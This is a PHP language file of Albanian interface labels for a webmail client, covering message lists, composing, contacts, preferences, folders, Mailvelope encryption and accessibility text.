$labels['previousmessage'] = 'Shfaq mesazhin e mëparshëm';
$labels['firstmessage'] = 'Shfaq mesazhin e parë';
$labels['nextmessage'] = 'Shfaq mesazhin pasardhës';
$labels['lastmessage'] = 'Shfaq mesazhin e fundit';
$labels['backtolist'] = 'Kthehu te lista e mesazheve';
$labels['viewsource'] = 'Shfaqi burimin';
$labels['mark'] = 'Vëri shenjë';
$labels['markmessages'] = 'Vëru shenjë mesazheve';
$labels['markread'] = 'Si të lexuara';
$labels['markunread'] = 'Si të palexuara';
$labels['markflagged'] = 'Si me shenjë';
$labels['markunflagged'] = 'Si me shenjë të hequr';
$labels['markundeleted'] = 'Si i pafshirë';
$labels['moreactions'] = 'Më tepër veprime…';
$labels['markallread'] = 'Vëru shenjë të tërëve si të lexuar';
$labels['folders-cur'] = 'Vetëm dosjes së përzgjedhur';
$labels['folders-sub'] = 'Dosjes së përzgjedhur dhe nëndosjeve të saj';
$labels['folders-all'] = 'Krejt dosjet';
$labels['more'] = 'Më tepër';
$labels['back'] = 'Mbrapsht';
$labels['options'] = 'Opsione';
$labels['composeoptions'] = 'Mundësi hartimi';
$labels['optionsandattachments'] = 'Mundësi dhe bashkëngjitje';
$labels['actions'] = 'Veprime';
$labels['first'] = 'I pari';
$labels['last'] = 'I fundit';
$labels['previous'] = 'I mëparshmi';
$labels['next'] = 'Pasuesi';
$labels['select'] = 'Përzgjidhni';
$labels['selection'] = 'Përzgjdhje';
$labels['all'] = 'Krejt';
$labels['none'] = 'Asnjë';
$labels['currpage'] = 'Faqja e tanishme';
$labels['isread'] = 'Të lexuar';
$labels['unread'] = 'Të palexuar';
$labels['flagged'] = 'Me Shenjë';
$labels['unflagged'] = 'Pa Shenjë';
$labels['unanswered'] = 'Pa përgjigje';
$labels['withattachment'] = 'Me bashkëngjitje';
$labels['deleted'] = 'Të fshirë';
$labels['undeleted'] = 'Të pafshirë';
$labels['replied'] = 'Me përgjigje';
$labels['forwarded'] = 'Të përcjellë';
$labels['invert'] = 'Përmbyse';
$labels['filter'] = 'Filtër';
$labels['list'] = 'Listë';
$labels['threads'] = 'Rrjedha';
$labels['expand-all'] = 'Zgjeroji Krejt';
$labels['expand-unread'] = 'Zgjero të Palexuarit';
$labels['collapse-all'] = 'Tkurri Krejt';
$labels['threaded'] = 'Me rrjedhë';
$labels['showunread'] = 'Shfaq mesazhe të palexuar';
$labels['autoexpand_threads'] = 'Zgjero rrjedha mesazhesh';
$labels['do_expand'] = 'krejt rrjedhat';
$labels['expand_only_unread'] = 'vetëm ato me mesazhe të palexuar';
$labels['fromto'] = 'Nga/Për';
$labels['flag'] = 'Shenjë';
$labels['attachment'] = 'Bashkëngjitje';
$labels['nonesort'] = 'Asnjë';
$labels['sentdate'] = 'Datë dërgimi';
$labels['arrival'] = 'Datë mbërritje';
$labels['asc'] = 'në rend rritës';
$labels['desc'] = 'në rend zbritës';
$labels['listcolumns'] = 'Paraqit shtylla';
$labels['listsorting'] = 'Shtyllë renditjeje';
$labels['listorder'] = 'Rend renditjeje';
$labels['listmode'] = 'Mënyra parje si listë';
$labels['lmode'] = 'Mënyra listë';
$labels['layout'] = 'Skemë';
$labels['layoutwidescreen'] = 'Me ekran të gjerë';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Listë';
$labels['layoutwidescreendesc'] = 'Me ekran të gjerë (pamje 3 shtylla)';
$labels['layoutdesktopdesc'] = 'Desktop (listë e gjerë dhe paraparje nën të )';
$labels['layoutlistdesc'] = 'Listë (pa paraparje poste)';
$labels['folderactions'] = 'Veprime mbi dosje…';
$labels['compact'] = 'Ngjeshe';
$labels['empty'] = 'Zbraze';
$labels['importmessages'] = 'Importo mesazhe';
$labels['mailimportdesc'] = 'Mund të ngarkoni postë duke përdorur kartela në formatin <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ose <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Një grup kartelash mund të ngjeshen në arkiva zip.';
$labels['quota'] = 'Përdorim disku';
$labels['unknown'] = 'i panjohur';
$labels['unlimited'] = 'i pakufizuar';
$labels['quotatype'] = 'Lloj thonjëzash';
$labels['quotatotal'] = 'Kufi';
$labels['quotaused'] = 'E përdorur';
$labels['quotastorage'] = 'Hapësirë disku';
$labels['quotamessage'] = 'Numër mesazhesh';
$labels['shortheaderdate'] = 'Më $date';
$labels['shortheaderto'] = 'Për $to më $date';
$labels['shortheaderfrom'] = 'Nga $from më $date';
$labels['quicksearch'] = 'Kërkim i shpejtë';
$labels['searchplaceholder'] = 'Kërkoni…';
$labels['resetsearch'] = 'Kërkim nga e para';
$labels['searchmod'] = 'Modifikues kërkimi';
$labels['msgtext'] = 'Krejt mesazhin';
$labels['body'] = 'Lëndë';
$labels['type'] = 'Lloj';
$labels['namex'] = 'Emër';
$labels['searchscope'] = 'Shtrirje';
$labels['currentfolder'] = 'Dosja e tanishme';
$labels['subfolders'] = 'Kjo dhe nëndosjet';
$labels['allfolders'] = 'Krejt dosjet';
$labels['searchinterval-1W'] = 'më të vjetër se një javë';
$labels['searchinterval-1M'] = 'më të vjetër se një muaj';
$labels['searchinterval-1Y'] = 'më të vjetër se një vit';
$labels['searchinterval1W'] = 'më të rinj se një javë';
$labels['searchinterval1M'] = 'më të rinj se një muaj';
$labels['searchinterval1Y'] = 'më të rinj se një vit';
$labels['openinextwin'] = 'Hape në dritare të re';
$labels['emlsave'] = 'Shkarkoje (.eml)';
$labels['changeformattext'] = 'Shfaqe në format tekst të thjeshtë';
$labels['changeformathtml'] = 'Shfaqe në format HTML';
$labels['editasnew'] = 'Përpunojeni si të ri';
$labels['send'] = 'Dërgoje';
$labels['sendmessage'] = 'Dërgoje mesazhin';
$labels['savemessage'] = 'Ruaje si skicë';
$labels['addattachment'] = 'Bashkëngjitni një kartelë';
$labels['charset'] = 'Bashkësi shkronjash';
$labels['editortype'] = 'Lloj përpunuesi';
$labels['returnreceipt'] = 'Dëftesë kthimi';
$labels['dsn'] = 'Njoftim gjendjeje dërgimi';
$labels['keepformatting'] = 'Mbaje formatimin';
$labels['mailreplyintro'] = 'Më $date, $sender shkroi:';
$labels['originalmessage'] = 'Mesazhi Origjinal';
$labels['selectimage'] = 'Përzgjidhni figurë';
$labels['addimage'] = 'Shtoni figurë';
$labels['selectmedia'] = 'Përzgjidhni film';
$labels['addmedia'] = 'Shtoni film';
$labels['encrypt'] = 'Fshehtëzoje';
$labels['encryptmessage'] = 'Fshehtëzoje mesazhin';
$labels['encryptmessagemailvelope'] = 'Fshehtëzoje mesazhin me Mailvelope';
$labels['importpubkeys'] = 'Importo kyçe publikë';
$labels['encryptedsendialog'] = 'Po dërgohet mesazh i fshehtëzuar';
$labels['encryptandsign'] = 'Fshehtëzoje dhe nënshkruaje';
$labels['keyid'] = 'ID Kyçi';
$labels['keylength'] = 'Bite';
$labels['keyexpired'] = 'I skaduar';
$labels['keyrevoked'] = 'I shfuqizuar';
$labels['bccinstead'] = 'Përdor Bcc';
$labels['addheader'] = 'Shtoni marrës (krye)';
$labels['insert'] = 'Fut';
$labels['insertcontact'] = 'Futni kontakt(e)';
$labels['recipient'] = 'Marrës';
$labels['recipientedit'] = 'Përpunim marrësi';
$labels['editidents'] = 'Përpunoni identitete';
$labels['spellcheck'] = 'Drejtshkrim';
$labels['checkspelling'] = 'Kontrolloji drejtshkrimin';
$labels['resumeediting'] = 'Rikthejuni përpunimit';
$labels['revertto'] = 'Riktheje te';
$labels['restore'] = 'Rimerre';
$labels['restoremessage'] = 'Të rimerret mesazhi?';
$labels['ignore'] = 'Shpërfille';
$labels['responses'] = 'Përgjigje';
$labels['insertresponse'] = 'Futni një përgjigje';
$labels['manageresponses'] = 'Administroni përgjigje';
$labels['newresponse'] = 'Krijoni përgjigje të re';
$labels['addresponse'] = 'Shtoni përgjigje';
$labels['editresponse'] = 'Përpunoni përgjigje';
$labels['editresponses'] = 'Përpunoni përgjigje';
$labels['responsename'] = 'Emër';
$labels['responsetext'] = 'Tekst Përgjigjeje';
$labels['attach'] = 'Bashkëngjite';
$labels['attachments'] = 'Bashkëngjitje';
$labels['upload'] = 'Ngarko';
$labels['uploadprogress'] = '$percent ($current nga $total gjithsej)';
$labels['close'] = 'Mbylle';
$labels['messageoptions'] = 'Mundësi mesazhesh…';
$labels['togglecomposeoptions'] = 'Shfaq/fshih mundësi hartimi';
$labels['attachmentrename'] = 'Riemërtoni bashkëngjitjet';
$labels['low'] = 'E ulët';
$labels['lowest'] = 'Më e ulëta';
$labels['normal'] = 'Normale';
$labels['high'] = 'E lartë';
$labels['highest'] = 'Më e larta';
$labels['nosubject'] = '(pa subjekt)';
$labels['showimages'] = 'Shfaq figura';
$labels['allow'] = 'Lejoje';
$labels['alwaysshow'] = 'Shfaqi përherë figurat nga $sender';
$labels['alwaysallow'] = 'Lejo përherë nga $sender';
$labels['isdraft'] = 'Kjo është një skicë mesazhi.';
$labels['andnmore'] = '$nr të tjerë...';
$labels['details'] = 'Hollësi';
$labels['summary'] = 'Përmbledhje';
$labels['headers'] = 'Krye';
$labels['allheaders'] = 'Krejt kryet…';
$labels['togglemoreheaders'] = 'Shfaq më tepër krye mesazhi';
$labels['togglefullheaders'] = 'Shfaq/fshih krye të papërpunuar mesazhi';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Tekst i thjeshtë';
$labels['savesentmessagein'] = 'Ruaje mesazhin e dërguar te';
$labels['dontsave'] = 'mos e ruaj';
$labels['maxuploadsize'] = 'Maksimumi i lejuar për madhësi kartelash është $size';
$labels['addcc'] = 'Shto Cc';
$labels['addbcc'] = 'Shto Bcc';
$labels['addreplyto'] = 'Shtoni Përgjigjuni-Te';
$labels['addfollowupto'] = 'Shto Vazhdojeni-Te';
$labels['sendreceipt'] = 'Të dërgohet dëftesë leximi?';
$labels['mdnrequest'] = 'Dërguesi i këtij mesazhi ka kërkuar që të njoftohet kur të lexoni këtë mesazh. Dëshironi të njoftohet dërguesi?';
$labels['receiptread'] = 'Dëftesë Kthimi (u lexua)';
$labels['yourmessage'] = 'Kjo është një Dëftesë Kthimi për mesazhin tuaj';
$labels['receiptnote'] = 'Shënim: Kjo dëftesë dëshmon vetëm se mesazhi u shfaq në kompjuterin e marrësit. Nuk ka garanci se marrësi e ka lexuar ose e ka kuptuar përmbajtjen e mesazhit.';
$labels['sendalwaysto'] = 'Dërgoje përherë te $email';
$labels['zoomin'] = 'Zmadhim';
$labels['zoomout'] = 'Zvogëlim';
$labels['rotate'] = 'Rrotulloje';
$labels['increaseimage'] = 'Zmadhoni madhësi figure';
$labels['decreaseimage'] = 'Zvogëloni madhësi figure';
$labels['rotateimage'] = 'Rrotullojeni figurën';
$labels['showtools'] = 'Shfaq mjete figure';
$labels['hidetools'] = 'Fshihi mjetet e figurës';
$labels['name'] = 'Emër Në Ekran';
$labels['firstname'] = 'Emër';
$labels['surname'] = 'Mbiemër';
$labels['middlename'] = 'Emër i Dytë';
$labels['nameprefix'] = 'Parashtesë';
$labels['namesuffix'] = 'Prapashtesë';
$labels['nickname'] = 'Nofkë';
$labels['jobtitle'] = 'Pozicion';
$labels['department'] = 'Degë';
$labels['gender'] = 'Gjini';
$labels['maidenname'] = 'Emër në Vajzëri';
$labels['email'] = 'Email';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresë';
$labels['street'] = 'Rrugë';
$labels['locality'] = 'Qytet';
$labels['zipcode'] = 'Kod ZIP';
$labels['region'] = 'Shtet/Provincë';
$labels['country'] = 'Vend';
$labels['birthday'] = 'Datëlindje';
$labels['anniversary'] = 'Përvjetor';
$labels['website'] = 'Sajt';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Shënime';
$labels['male'] = 'mashkull';
$labels['female'] = 'femër';
$labels['manager'] = 'Përgjegjës';
$labels['assistant'] = 'Asistent';
$labels['spouse'] = 'Bashkëshort';
$labels['allfields'] = 'Krejt fushat';
$labels['search'] = 'Kërkoni';
$labels['searchresult'] = 'Përfundime kërkimi';
$labels['advsearch'] = 'Kërkim i Thelluar';
$labels['advanced'] = 'I thelluar';
$labels['other'] = 'Tjetër';
$labels['printcontact'] = 'Shtype kontaktin';
$labels['qrcode'] = 'Kod QR';
$labels['typehome'] = 'Shtëpie';
$labels['typework'] = 'Pune';
$labels['typeother'] = 'Tjetër';
$labels['typemobile'] = 'Celular';
$labels['typemain'] = 'Kryesore';
$labels['typehomefax'] = 'Faks Shtëpie';
$labels['typeworkfax'] = 'Faks Pune';
$labels['typecar'] = 'Automjet';
$labels['typepager'] = 'Faques';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistent';
$labels['typehomepage'] = 'Faqe Hyrëse';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Shtoni fushë…';
$labels['addcontact'] = 'Shtoni kontakt';
$labels['editcontact'] = 'Përpunoni kontakt';
$labels['contacts'] = 'Kontakte';
$labels['contactproperties'] = 'Veti kontaktesh';
$labels['contactnameandorg'] = 'Emër dhe Ent';
$labels['personalinfo'] = 'Të dhëna personale';
$labels['personal'] = 'Personale';
$labels['contactphoto'] = 'Foto kontakti';
$labels['edit'] = 'Përpunoni';
$labels['cancel'] = 'Anuloje';
$labels['save'] = 'Ruaje';
$labels['delete'] = 'Fshije';
$labels['discard'] = 'Hidhe tej';
$labels['continue'] = 'Vazhdo';
$labels['ok'] = 'OK';
$labels['rename'] = 'Riemërtojeni';
$labels['addphoto'] = 'Shtoni';
$labels['replacephoto'] = 'Zëvendësoje';
$labels['uploadphoto'] = 'Ngarkoni foto';
$labels['choosefile'] = 'Zgjidhni kartelë…';
$labels['choosefiles'] = 'Zgjidhni kartela…';
$labels['browse'] = 'Shfletoni';
$labels['newcontact'] = 'Krijoni kontakt të ri';
$labels['deletecontact'] = 'Fshiji kontaktet e përzgjedhur';
$labels['composeto'] = 'Hartoni email për';
$labels['contactsfromto'] = 'Kontaktet nga $from deri në $to nga $count gjithsej';
$labels['print'] = 'Shtype';
$labels['export'] = 'Eksporto';
$labels['exportall'] = 'Eksportoji krejt';
$labels['exportsel'] = 'Eksporto të përzgjedhurat';
$labels['exportvcards'] = 'Eksportoji kontaktet në format vCard';
$labels['newgroup'] = 'Krijoni grup të ri';
$labels['addgroup'] = 'Shtoni grup';
$labels['grouprename'] = 'Riemërtojeni grupin';
$labels['groupdelete'] = 'Fshije grupin';
$labels['groupassign'] = 'Caktojani një grupi…';
$labels['groupremove'] = 'Hiqeni prej grupi';
$labels['groupremoveselected'] = 'Hiqi nga grupi kontaktet e përzgjedhur';
$labels['uponelevel'] = 'Një nivel më sipër';
$labels['previouspage'] = 'Shfaq faqen e mëparshme';
$labels['firstpage'] = 'Shfaq faqen e parë';
$labels['nextpage'] = 'Shfaq faqen pasuese';
$labels['lastpage'] = 'Shfaq faqen e fundit';
$labels['group'] = 'Grup';
$labels['groups'] = 'Grupe';
$labels['listgroup'] = 'Paraqit anëtarë grupi';
$labels['personaladrbook'] = 'Adresa Personale';
$labels['searchsave'] = 'Ruaje kërkimin';
$labels['searchdelete'] = 'Fshije kërkimin';
$labels['import'] = 'Importo';
$labels['importcontacts'] = 'Importo kontaktet';
$labels['importfromfile'] = 'Importo prej kartele';
$labels['importtarget'] = 'Shtoni kontakte te';
$labels['importreplace'] = 'Zëvendëso krejt librin e adresave';
$labels['importgroups'] = 'Importo përshoqërime grupi';
$labels['importgroupsall'] = 'Krejt (krijo grupe, në u dashtë)';
$labels['importgroupsexisting'] = 'Vetëm për grupe ekzistues';
$labels['importdesc'] = 'Mund të ngarkoni kontakte nga një libër ekzistues adresash.<br/>Deri këtu mbulojmë importim adresash prej formati <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> ose CSV (comma-separated) të dhënash.';
$labels['importmapdesc'] = 'Përpara se të ecet më tej me importim të dhënash CSV (ndarë me presje), ripohoni më poshtë të dhënat mbi përshoqërim fushash.';
$labels['fieldnotmapped'] = 'Fushë e papërshoqëruar (mos e importo)';
$labels['skipheader'] = 'Mos importo rreshtin e parë (kryet)';
$labels['done'] = 'U bë';
$labels['settingsfor'] = 'Rregullime për';
$labels['about'] = 'Rreth';
$labels['preferences'] = 'Parapëlqime';
$labels['userpreferences'] = 'Parapëlqime përdoruesi';
$labels['editpreferences'] = 'Përpunoni parapëlqime përdoruesi';
$labels['identities'] = 'Identitete';
$labels['manageidentities'] = 'Administroni identitete';
$labels['newidentity'] = 'Krijoni identitet të ri';
$labels['addidentity'] = 'Shtoni identitet';
$labels['editidentity'] = 'Përpunoni identitet';
$labels['identityencryption'] = 'Fshehtëzim';
$labels['preferhtml'] = 'Shfaq HTML';
$labels['defaultcharset'] = 'Shkronja Parazgjedhje';
$labels['htmlmessage'] = 'Mesazh HTML';
$labels['messagepart'] = 'Pjesë';
$labels['digitalsig'] = 'Nënshkrim Dixhital';
$labels['dateformat'] = 'Format të dhënash';
$labels['timeformat'] = 'Format kohe';
$labels['prettydate'] = 'Data të hijshme';
$labels['setdefault'] = 'Caktoje si parazgjedhje';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Gjuhë';
$labels['timezone'] = 'Brez orar';
$labels['pagesize'] = 'Rreshta për faqe';
$labels['signature'] = 'Nënshkrim';
$labels['dstactive'] = 'Ndryshim ore';
$labels['showinextwin'] = 'Hape mesazhin në dritare të re';
$labels['composeextwin'] = 'Për hartim mesazhesh hap dritare të re';
$labels['htmleditor'] = 'Harto mesazhe HTML';
$labels['htmlonreply'] = 'kur i përgjigjeni mesazheve HTML';
$labels['htmlonreplyandforward'] = 'kur i përgjigjeni ose përcillni mesazh HTML';
$labels['htmlsignature'] = 'Nënshkrimi HTML';
$labels['showemail'] = 'Adresën email shfaqe me emrin për në ekran';
$labels['previewpane'] = 'Shfaq panel paraparjeje';
$labels['skin'] = 'Temë grafike për ndërfaqen';
$labels['logoutclear'] = 'Pastroji Hedhurinat gjatë daljes';
$labels['logoutcompact'] = 'Ngjeshi Të marrët në dalje e sipër';
$labels['uisettings'] = 'Ndërfaqe Përdoruesi';
$labels['serversettings'] = 'Rregullime Shërbyesi';
$labels['mailboxview'] = 'Shfaqje e Kutisë Postare';
$labels['mdnrequests'] = 'Kur kërkohet dëftesë kthimi';
$labels['askuser'] = 'pyetmë';
$labels['autosend'] = 'dërgo dëftesë';
$labels['autosendknown'] = 'dërgoju dëftesë kontakteve të mi, përndryshe pyetmë';
$labels['autosendknownignore'] = 'dërgoju dëftesë kontakteve të mi, përndryshe shpërfille';
$labels['autosendtrusted'] = 'dërgo dëftesë te dërgues të besuar, përndryshe pyetmë';
$labels['autosendtrustedignore'] = 'dërgoju dëftesë dërguesve të besuar, përndryshe shpërfille';
$labels['ignorerequest'] = 'shpërfille kërkesën';
$labels['readwhendeleted'] = 'Gjatë fshirjes shënoje mesazhin si të lexuar';
$labels['flagfordeletion'] = 'Vëri shenjë mesazhit për fshirje, në vend se ta fshish';
$labels['skipdeleted'] = 'Mos shfaq mesazhe të fshirë';
$labels['deletealways'] = 'Nëse shpënia te Hedhurinat dështon, fshiji';
$labels['deletejunk'] = 'Mesazhet te Të pavlerat fshiji drejtpërsëdrejti';
$labels['showremoteimages'] = 'Shfaqi figurat e largëta të trupëzuara në mesazh';
$labels['allowremoteresources'] = 'Lejo burime të largëta (figura, stile)';
$labels['fromknownsenders'] = 'prej dërguesish të njohur';
$labels['fromtrustedsenders'] = 'prej dërguesish të besuar';
$labels['frommycontacts'] = 'prej kontakteve të mi';
$labels['always'] = 'përherë';
$labels['alwaysbutplain'] = 'përherë, hiq rastin kur i përgjigjem teksti të thjeshtë';
$labels['showinlineimages'] = 'Figurat e bashkëngjitura shfaqi nën mesazh';
$labels['autosavedraft'] = 'Ruaje automatikisht si skicë';
$labels['everynminutes'] = 'çdo $n minutë(a)';
$labels['refreshinterval'] = 'Rifreskoje (kontrollo për mesazhe të rinj, etj)';
$labels['never'] = 'kurrë';
$labels['immediately'] = 'menjëherë';
$labels['messagesdisplaying'] = 'Shfaqje Mesazhesh';
$labels['messagescomposition'] = 'Hartim Mesazhesh';
$labels['mimeparamfolding'] = 'Emra bashkëngjitjesh';
$labels['2231folding'] = 'RFC 2231 i Plotë (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 i Plotë (tjetër)';
$labels['force7bit'] = 'Për shenja 8-bitëshe përdor kodim MIME';
$labels['savelocalstorage'] = "Ruaji te depoja vendore e shfletuesit (përkohësisht)";
$labels['advancedoptions'] = 'Mundësi të mëtejshme';
$labels['toggleadvancedoptions'] = 'Shfaq/fshih mundësi të mëtejshme';
$labels['focusonnewmessage'] = 'Për mesazhe të rinj kaloje fokusin te dritarja e shfletuesit';
$labels['checkallfolders'] = 'Kontrollo krejt dosjet për mesazhe të rinj';
$labels['displaynext'] = 'Pas fshirjesh/lëvizjesh, shfaq zërin pasues në listë';
$labels['defaultfont'] = 'Shkronja parazgjedhje për mesazhe HTML';
$labels['mainoptions'] = 'Mundësitë Kryesore';
$labels['browseroptions'] = 'Mundësi Shfletuesi';
$labels['section'] = 'Seksion';
$labels['maintenance'] = 'Mirëmbajtje';
$labels['newmessage'] = 'Mesazh i Ri';
$labels['signatureoptions'] = 'Mundësi Nënshkrimesh';
$labels['whenreplying'] = 'Kur përgjigjem';
$labels['replyempty'] = 'mos e cito mesazhin origjinal';
$labels['replytopposting'] = 'filloje mesazhin e ri sipër citimit';
$labels['replytoppostingnoindent'] = 'nise mesazhin e ri sipër citimit (pa shmangie)';
$labels['replybottomposting'] = 'filloje mesazhin e ri poshtë citimit';
$labels['replyremovesignature'] = 'Kur përgjigjem, hiqe prej mesazhit nënshkrimin origjinal';
$labels['autoaddsignature'] = 'Nënshkrimin shtoje vetvetiu';
$labels['newmessageonly'] = 'vetëm për mesazh të ri';
$labels['replyandforwardonly'] = 'vetëm për përgjigje dhe përcjellje';
$labels['insertsignature'] = 'Fut nënshkrim';
$labels['sigbelow'] = 'Nënshkrimin vendose nën mesazhin e cituar';
$labels['sigseparator'] = 'Në nënshkrime përdor detyrimisht ndarës standard';
$labels['automarkread'] = 'Vëru shenjë mesazheve si të lexuar';
$labels['afternseconds'] = 'pas $n sekondash';
$labels['reqmdn'] = 'Kërko përherë dëftesë kthimi';
$labels['reqdsn'] = 'Kërko përherë njoftim mbi gjendje dërgimi';
$labels['replysamefolder'] = 'Vendosi përgjigjet te dosja e mesazheve të cilit po i përgjigjeni';
$labels['defaultabook'] = 'Libër parazgjedhje adresash';
$labels['autocompletesingle'] = 'Gjatë vetëplotësimit anashkalo adresa email alternative';
$labels['listnamedisplay'] = 'Kontaktet paraqiti si';
$labels['contactformmode'] = 'Mënyrë formulari kontaktesh';
$labels['privatemode'] = 'Privat (Shtëpie)';
$labels['businessmode'] = 'Biznes (Pune)';
$labels['collectedaddresses'] = 'Adresa të grumbulluara';
$labels['collectedrecipients'] = 'Marrës të Grumbulluar';
$labels['collectedrecipientsopt'] = 'Marrës email-esh të dërguar depozitoji në';
$labels['collectedsendersopt'] = 'Dërguesit e besuar depozitoji në';
$labels['trustedsenders'] = 'Dërgues të Besuar';
$labels['spellcheckbeforesend'] = 'Kontrollo drejtshkrimin para dërgimit të një mesazhi';
$labels['spellcheckoptions'] = 'Mundësi Kontrolli Drejtshkrimi';
$labels['spellcheckignoresyms'] = 'Shpërfilli fjalët me simbole';
$labels['spellcheckignorenums'] = 'Shpërfilli fjalët me numra';
$labels['spellcheckignorecaps'] = 'Shpërfilli fjalët me krejt shkronjat me të madhe';
$labels['addtodict'] = 'Shtoje në fjalor';
$labels['mailtoprotohandler'] = 'Regjistro trajtues protokolli për lidhje mailto:';
$labels['standardwindows'] = 'Flluskat trajtoji si dritare standarde';
$labels['forwardmode'] = 'Përcjellje mesazhesh';
$labels['inline'] = 'brendazi';
$labels['asattachment'] = 'si bashkëngjitje';
$labels['replyallmode'] = 'Veprim parazgjedhje për butonin [Përgjigju krejt]';
$labels['replyalldefault'] = 'përgjigju të tërëve';
$labels['replyalllist'] = 'përgjigju vetëm te listë postimesh (nëse gjendet e tillë)';
$labels['allmessages'] = 'krejt mesazhet';
$labels['olderxdays'] = 'më i vjetër se $x ditë';
$labels['folder'] = 'Dosje';
$labels['folders'] = 'Dosje';
$labels['foldername'] = 'Emër dosjeje';
$labels['subscribed'] = 'Regjistruar';
$labels['messagecount'] = 'Mesazhe';
$labels['create'] = 'Krijoje';
$labels['createfolder'] = 'Krijo dosje të re';
$labels['managefolders'] = 'Administroni dosje';
$labels['specialfolders'] = 'Dosje Speciale';
$labels['properties'] = 'Veti';
$labels['folderproperties'] = 'Veti dosjeje';
$labels['parentfolder'] = 'Dosje mëmë';
$labels['location'] = 'Vendndodhje';
$labels['info'] = 'Informacion';
$labels['getfoldersize'] = 'Klikoni që të kini madhësinë e dosjes';
$labels['changesubscription'] = 'Klikoni që të ndryshoni pajtimin';
$labels['foldertype'] = 'Lloj Dosjeje';
$labels['personalfolder'] = 'Dosje Private';
$labels['otherfolder'] = 'Dosje Përdoruesi Tjetër';
$labels['sharedfolder'] = 'Dosje Publike';
$labels['findfolders'] = 'Gjeni dosje';
$labels['findcontacts'] = 'Gjej kontakte';
$labels['findmail'] = 'Gjej mesazhe poste';
$labels['namespace.personal'] = 'Personale';
$labels['namespace.other'] = 'Përdorues të tjerë';
$labels['namespace.shared'] = 'E përbashkët';
$labels['dualuselabel'] = 'Mund të përmbajë vetëm';
$labels['dualusemail'] = 'mesazhe';
$labels['dualusefolder'] = 'dosje';
$labels['generate'] = 'Prodhoje';
$labels['encryptioncreatekey'] = 'Krijoni një çift të ri kyçesh';
$labels['openmailvelopesettings'] = 'Hapni Rregullime për Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Keni $nr kyçe privatë me përputhje të depozituar në vargun tuaj të kyçeve Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Identiteti i këtij dërguesi ende s’ka ndonjë kyç privat PGP të depozituar në zgjerimin tuaj Mailvelope. Do të donit të krijoni një që të mund të aktivizohet shkëmbim mesazhesh të fshehtëzuar?';
$labels['encryption'] = 'Fshehtëzim';
$labels['mailvelopeoptions'] = 'Mundësi Mailvelope';
$labels['mailvelopemainkeyring'] = 'Përdor varg kyçesh kryesor Mailvelope';
$labels['mailvelopenotfound'] = 'Zgjerimi Mailvelope s’është aktivizuar/instaluar në shfletuesin tuaj.';
$labels['sortby'] = 'Renditi sipas';
$labels['sortasc'] = 'Në rend rritës';
$labels['sortdesc'] = 'Në rend zbritës';
$labels['undo'] = 'Zhbëje';
$labels['installedplugins'] = 'Shtojca të instaluara';
$labels['plugin'] = 'Shtojcë';
$labels['version'] = 'Version';
$labels['source'] = 'Burim';
$labels['destination'] = 'Vendmbërritje';
$labels['license'] = 'Licencë';
$labels['support'] = 'Merrni asistencë';
$labels['savedsearches'] = 'Kërkime të ruajtura';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unikod';
$labels['english'] = 'Anglisht';
$labels['westerneuropean'] = 'Europiano-perëndimore';
$labels['easterneuropean'] = 'Europiano-lindore';
$labels['southeasterneuropean'] = 'Europiano-juglindore';
$labels['baltic'] = 'Baltike';
$labels['cyrillic'] = 'Cirilike';
$labels['arabic'] = 'Arabike';
$labels['greek'] = 'Greke';
$labels['hebrew'] = 'Hebraike';
$labels['turkish'] = 'Turke';
$labels['nordic'] = 'Nordike';
$labels['thai'] = 'Tajlandeze';
$labels['celtic'] = 'Celtike';
$labels['vietnamese'] = 'Vietnameze';
$labels['japanese'] = 'Japoneze';
$labels['korean'] = 'Koreane';
$labels['chinese'] = 'Kineze';
$labels['arialabeltopnav'] = 'Kontroll dritareje';
$labels['arialabeltasknav'] = 'Akte aplikacioni';
$labels['arialabeltoolbar'] = 'Panel aplikacioni';
$labels['arialabellistnav'] = 'Lëvizje në listë';
$labels['arialabelactivetask'] = 'Akte aktive';
$labels['arialabelmessagessearchfilter'] = 'Filtër mënyre paraqitjeje email-esh';
$labels['arialabelmailsearchform'] = 'Formular kërkimi mesazhi email';
$labels['arialabelcontactsearchform'] = 'Formular kërkimi kontaktesh';
$labels['arialabelmailquicksearchbox'] = 'Fushë kërkimi email-i';
$labels['arialabelquicksearchbox'] = 'Fushë kërkimi';
$labels['arialabelfoldersearchfilter'] = 'Filtër lënde dosjeje';
$labels['arialabelfoldersearchform'] = 'Formular kërkimi dosjesh';
$labels['arialabelfolderlist'] = 'Përzgjedhje dosje email';
$labels['arialabelmessagelist'] = 'Shfaqje Mesazhesh Email';
$labels['arialabelmailpreviewframe'] = 'Paraparje mesazhi';
$labels['arialabelmailboxmenu'] = 'Menu veprimesh mbi dosje';
$labels['arialabellistselectmenu'] = 'Menu përzgjedhjeje liste';
$labels['arialabelthreadselectmenu'] = 'Menu paraqitje rrjedhash';
$labels['arialabelmessagelistoptions'] = 'Mundësi mbi shfaqje dhe renditje listash mesazhesh';
$labels['arialabelmailimportdialog'] = 'Dialog importimi mesazhesh';
$labels['arialabelmessagenav'] = 'Lëvizje te mesazhi';
$labels['arialabelmessagebody'] = 'Lëndë Mesazhi';
$labels['arialabelmessageactions'] = 'Veprime mbi mesazhe';
$labels['arialabelcontactquicksearch'] = 'Formular kërkimi kontaktesh';
$labels['arialabelcontactsearchbox'] = 'Fushë kërkimi kontaktesh';
